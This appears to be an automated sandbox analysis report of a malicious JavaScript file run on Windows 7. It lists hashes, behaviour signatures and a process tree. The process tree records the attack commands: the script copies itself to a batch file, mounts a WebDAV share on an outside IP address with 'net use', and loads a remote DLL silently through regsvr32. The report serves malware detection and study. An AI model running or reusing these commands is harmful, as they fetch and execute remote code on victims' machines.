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Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 04:10

General

  • Target

    1850166781191324920.js

  • Size

    5KB

  • MD5

    33301c9fd5a47289e0eff7062eb98c94

  • SHA1

    b03d439fcf85bf9d0f0af3ae04373c5c96c69e3a

  • SHA256

    3c543b9ebb57e8f30bd562e236bc2d2eea1fc2cc49e90842134de289102fd35c

  • SHA512

    67141920168ad265f7ad55d1a5795a6edfcdb7cb91bb21c4a8b484c9cc47a85e990157792b977282800914b50f3581d6207fd69292928d5e62dc51f8e68123a0

  • SSDEEP

    96:yfbvUIOO8hX7IOO8h8GoM/prtxJcqSGZTt6LWhJPNvhzALk8oOkP8o9:yPOO8SOO82m/Jtx7SGvtlSkP5

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1850166781191324920.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1850166781191324920.js" "C:\Users\Admin\\fwauam.bat" && "C:\Users\Admin\\fwauam.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2248
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\895.dll
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:2596

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\fwauam.bat

      Filesize

      5KB

      MD5

      33301c9fd5a47289e0eff7062eb98c94

      SHA1

      b03d439fcf85bf9d0f0af3ae04373c5c96c69e3a

      SHA256

      3c543b9ebb57e8f30bd562e236bc2d2eea1fc2cc49e90842134de289102fd35c

      SHA512

      67141920168ad265f7ad55d1a5795a6edfcdb7cb91bb21c4a8b484c9cc47a85e990157792b977282800914b50f3581d6207fd69292928d5e62dc51f8e68123a0